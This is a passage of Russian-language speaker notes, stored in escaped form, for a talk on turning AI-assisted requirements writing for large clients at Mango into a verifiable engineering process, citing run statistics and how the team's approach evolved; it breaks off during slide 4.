**\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  